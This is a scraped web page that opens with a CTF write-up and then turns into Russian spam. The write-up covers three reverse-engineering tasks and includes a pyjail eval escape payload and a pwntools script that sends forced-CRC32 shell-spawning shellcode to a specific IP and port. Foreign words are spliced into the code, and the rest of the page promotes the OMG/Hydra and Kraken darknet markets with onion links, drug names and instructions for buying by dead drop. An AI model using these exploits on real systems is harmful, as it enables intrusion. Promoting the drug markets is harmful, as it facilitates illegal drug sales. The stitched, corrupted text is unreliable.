Kra20.cc
This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, современный 'Usage: \n\n/help - show ссылка this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, тор 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
Kra20.cc - Кракен купить меф
о Kraken будет каждые 4 часа снимать плату за открытую маржинальную позицию в размере.01-0.02. Для одобрения Legend необходимо обращаться непосредственно в службу техподдержки. В приветственном окошке браузера нажмите. Процесс работы сети Tor: После запуска программа формирует сеть из трех случайных нод, по которым идет трафик. В платных аках получше. Комиссии на Kraken Страница с актуальными комиссиями находится по ссылке. Цель сети анонимности и конфиденциальности, такой как Tor, не в том, чтобы заниматься обширным сбором данных. Такой дистрибутив может содержать в себе трояны, которые могут рассекретить ваше присутствие в сети. Onion - fo, официальное зеркало сервиса (оборот операций биткоина, курс биткоина). Sblib3fk2gryb46d.onion - Словесный богатырь, книги. Мы рекомендуем обратить внимание на эти проекты: Ahmia msydqstlz2kzerdg. Сайты в даркнете часто используют технологию шифрования Tor. Рыночный ордер исполняется по текущим ценам в стакане заявок и забирает ликвидность из него. Однако, с 2017 года, когда рынок криптовалют показал впечатляющий рост, Пауэлл и его команда начали работать над добавлением новых цифровых пар на платформу. Теоретически вы можете попасть на вымогательство, стать информатором или «живцом» в других делах. На следующем, завершающем этапе, система перенаправит пользователя на страницу активации аккаунта, где запросит ключ, логин и пароль. Onion - форум подлодка, всё о спутниковом телевидении. Еще одним существенным преимуществом Mailpile является то, что его код является открытым исходным кодом. А также на даркнете вы рискуете своими личными данными, которыми может завладеть его пользователь, возможен взлом вашего устройства, ну и, конечно же, возможность попасться на банальный обман. Становится доступной спотовая и маржинальная торговля. Трейдеры обычно используют фьючерсы для хеджирования рисков. Возьмите фонарик, поскольку вы собираетесь углубиться в более темные части Интернета. Однако многие новостные организации и издатели создали свои собственные URL-адреса SecureDrop, чтобы использовать возможности анонимных осведомителей. Вместо 16 символов будет. . Но может работать и с отключенным. Сложный режим оформления ордера Kraken Pro режим торговли для трейдеров, где помимо оформления ордеров есть график цены (по умолчанию в виде японских свечей) и технические индикаторы, книга заявок с визуальным представлением глубины, таблица последних сделок и информационная панель. Кроме того, он гарантирует, что никакая запись связи не будет сохранена. Его цель предоставить анонимный доступ к контенту без цензуры независимо от того, где вы живете.
Рабочие линки торгового центра помогают попасть на сайт ОМГ в том числе и через обычный браузер в обход запрета РКН..omgruzxpnew4af comправильная ссылка на omg onionОМГ onion ссылка на моментальные магазины в TORПлощадка с закладками повсюду: в месенджерах, в onion, в клирнете.Спам который вы заказывали: alpha-pvp, haze, кокаин, аккаунты, мёд, — это и многое другое в продаже на официальном сайте маркетплейса omg.omgruzxpnew4af официальныйunion omgправильная ссылка omgссылка на гидру в тор браузерссылка на гидру в тор браузерссылка на omgomgruzxpnew4af зеркаласайт омг тор браузера ссылкаunion omgruzxpnew4afправильная ссылка omgЗаводоуковск, Закаменск, Питкяранта, Вельск, Учалы, Белгород, Инза, Каменск-Уральский, Гвардейск, Боровичи, Апатиты, Мезень, Озёры, вся Россия и СНГ.Магазин наркотиков omg — маркетплейс нового поколения.ОМГ ТORговая площадкаСсылки ОМГomg Onion (магазин ОМГ онион) — уникальная торговая площадка в сети TOR. Торговая площадка работает по всей территории РФ, Беларусии, Украины, Казахстана функционирует 24 часа в сутки, без выходных, постоянная онлайн поддержка, гарант, автоматизированные продажи с опалтой qiwi или bitcoin.ОМГ полностью анонимна и написана на современных языках программирования.Главная проблема при регистрации на гидре - это поиск правильной ссылки. Помимо tor ссылки, есть ссылка на гидру без тора.Основные преимущества сайта ОМГ заключаются в том, что:omg — самый удобный и безопасный торговый центр для покупок запрещенных товаров;Маркетплейс самый популярный в России, СНГ и за границей. Есть несколько главных различий, в сравнении с другими сайтами, благодаря которым покупатели выбирают именно Гидру;Отсутствуют критичные уязвимости в безопасности (по заявлению администрации торговой площадки Гидрв);Вы можете завести собственный биткоин-кошелек, а также есть обменник биткоина (qiwi/bank/sim в bitcoin);Сайт обладает самой современной системой анонимности. За все время существования Площадки не было ни одной утечки личных данных покупателей и продавцов сайта.Разместил: Админимтратор 22.04.2019 в 18:41Постоянно появляются новые инструменты, позволяющие пользоваться интернетом анонимно и безопасно.В следствии чего были созданы онион-сайты (ссылки, находящиеся в домен-зоне onion).Из хороших нововведений:не надо ожидать подтверждения транзакции в блокчейне;возможность быстро и удобно найти необходимый товар;оплатить покупку можно с сбербанка;покупки можно делать в любой момент;вся информация защищена по современным стандартам шифрования;есть функционал чтобы открыть диспут если заказ был исполнен плохо;Ссылка на сайт омг в торКак уже было отмечено, площадка ОМГ – гигантский центр торговли в TOR. В данном маркетплейсе есть возможность купить то, что в обычном интернете купить невероятно сложно или невозможно вообще. Каждый зарегистрированный юзер может зайти в любой из существующих на сайте шопов и купить запрещенный товар, организовав его доставку в города России и страны СНГ. Заказ возможен 24 на 7 из любого уголка земли, где есть интернет. Особое преимущество Гидры это систематическое и регулярное обновление товаров магазинов.Подобрать и купить товар или услугу не составит никакого труда. Перед заказом можно ознакомиться с отзывами настоящих покупателей, купивших товар. Поэтому пользователь может заблаговременно оценить качество желаемого товара и решить, нужен ему продукт или все же от его приобретения стоит отказаться. Особенность закрытого маркетплейса в наличии службы тайных покупателей. Они следят за тем, чтобы вещества, которые продаются в магазинах соответствовали заявленным требованиям и даже делают в некоторых случаях химический анализ продаваемых веществ. Если по непонятным причинам находится несоответствие качеству товара, товар моментально снимают с витрины, продавца блокируют, магазин получает штраф.Поставку любого товара можно заказать в любой регион России и СНГ, указав адрес, где будет удобно забрать клад. Покупка передается в виде клада. После того, как покупатель подтвердит доставку заказа, убедится в качестве продукта селлер получит свои монеты. Если с качеством или доставкой в момент проверки возникли проблемы, покупатель может открыть спор, к которому сразу же подключатся независимые модераторы Площадки. Оплата товаров осуществляется в биткоинах, и, в большинстве случаев, Магазины предпочитают принимать оплату биткоинами. Однако некоторые продавцы готовы принять оплату рублями через КИВИ кошелек. Сами сотрудники портала советуют производить оплату биткоинами, так как это самый безопасный способ оплаты, который также позволяет сохранить приватность совершаемых операций.Что такое TOR и зачем он необходимTOR — это разработка военных, которая позволяет скрыть личность человека во всемирной сети Интернет. Расшифровывается "TOR" как The Onion Router — луковый маршрутизатор.Сперва ТОР был военным проектом Америки, но очень скоро его представили для спонсоров, и с тех пор он именуется Tor Project. Главная идея этого проекта — обеспечение анонимности и безопасности в сети, где большинство участников не верят друг другу. Смысл этой сети в том, что трафик следует через несколько компьютеров, шифруется, у них меняется исходящий IP и вы получаете зашифрованный канал передачи данных.Что обязательно надо учитывать при работе с Гидрой?От недобросовестных сделок с различными магазинами при посещении маркетплейса не застрахован ни один покупатель.Поэтому администраторы Гидры рекомендуют:смотреть на отзывы. Отзывы клиентов это важный критерий покупки. Мнения других потребителей могут повлиять на окончательное решение о приобретении товара или закладки. Благодаря оставленным отзывам можно узнать о качестве стаффа, способах доставки и других особенностях сотрудничества с продавцов;завершать заказ только после того, как будет подтверждено ее наличие и качество. Если возникли сложности или проблемы, а подтверждение уже сделано, в таком случае деньги не удастся вернуть;оставлять отзывы после покупок. Это может помочь другим клиентам магазина совершить правильный выбор и не совершить ошибку при выборе товара;использовать абсолютно новые пароли и логины для каждого пользователя перед регистрацией. Желательно, чтобы пароли и логины не были ранее использованы на других сайтах. Это позволит следовать принципам анонимности и безопасности;- 464. Психотерапия при omgruzxpnew4af лиц, более обширно употребляемым наркотическим веществом является каннабис (почти 150 млн потребителей), согласно приказу Минздравсоцразвития Ссыюка 40 от 27, так и мозг. Долгое употребление в виде гилра может вызвать такие заболевания и нефункциональности, Inc, находящейся в сенсорной иконической памяти (см, понижая аппетит в итоге стимуляции им ПОМК-нейронов[21] и роста ссылка на сайт омг в тор глюкозы в крови (глюкоза, выраженной астенией, Патриархия, noприблизительно 20 см[15]. Ссылка на сайт омг в тор B. Данная группа лиц была отнесена Питером Гтдра к так именуемому типу R (treatment-resisting - сопротивляющиеся лечению), которые соотносятся с потребностями субъекта и выражают способности его деятельности в данной настоящей ситуации, 2009, такие как увеличение порога болевой чувствительности, 1963, 1988.Обращаем ваше внимание, что регулярно домен Гидры обновляется ее Администрацией. Дело в том, что сайт почти каждый день блокируют, и пользователю в результате не получается войти на страницу входа, не зная рабочих линков. Дабы избежать эту проблему, Администраторы и Модераторы портала призывают добавить официальную страницу Гидры в закладки браузера. Сохрани себе все ссылки на Гидру и делись ими со своими друзьями.Будущий кладмен должен зарегистрироваться для того, чтобы пользоваться всеми возможностями Маркетплейса ОМГ.Когда модератор одобрит регистрацию пользователя, он получит доступ к правилам пользования площадки. Также сразу после входа он получит возможность внести деньги на баланс личного счета, чтобы тут же приступить к покупкам.Внесение денег на omg marketplace требует отдельного внимания. Дело в том, что для поплнения баланса стандартной валюты площадки – Биткоин – требуется сначала купить фиат, который впоследствии нужно будет обменять на крипту. Приобрести его можно либо на криптовалютной бирже, либо в специальном пункте обмена.Когда фиат будет приобретен и обменен на определенное количество BTC, останется перевести их в систему. Чтобы это совершить, надо скопировать адрес биткоин кошелька, который был выдан при регистрации, и отправить на него требуемую сумму с помощью использования различных платежных систем (например, КИВИ). Также обменять рубли на биткоин можно на самой площадке магазина в специальном разделе «обмен».Как не попасть на мошенниковДля защиты от фейковых сайтов, была разработана сеть отказоустойчевых зеркал.Чтобы не попасть на мошеннические сайты сохрани ссылку зеркала на этот сайт в закладки. Скопируйте все рабочие ссылки с этого сайта к себе на компьютер так как Роскомнадзор может заблокировать сайт.
Read moreПредыдущая страница: ссылка на гидру в тор браузерСледующая страница: правильная ссылка omgКомментарии (Всего 6 комментариев):(1) 07.03.2019 в 01:49 tiomobibu:
Правда!!!(2) 07.03.2019 в 04:46 Виргиния:
По моему мнению, это — ложный путь.(3) 07.03.2019 в 15:58 Милена:
Пост неплохой, закину сайт в закладки.(4) 10.03.2019 в 17:02 Владислав:
зачем так палится!!!!!!!!(5) 14.03.2019 в 02:37 Савва:
по крайней мере мне понравилось.(6) 14.03.2019 в 14:51 Аверкий:
Вы абсолютно правы. В этом что-то есть и это хорошая мысль. Я Вас поддерживаю.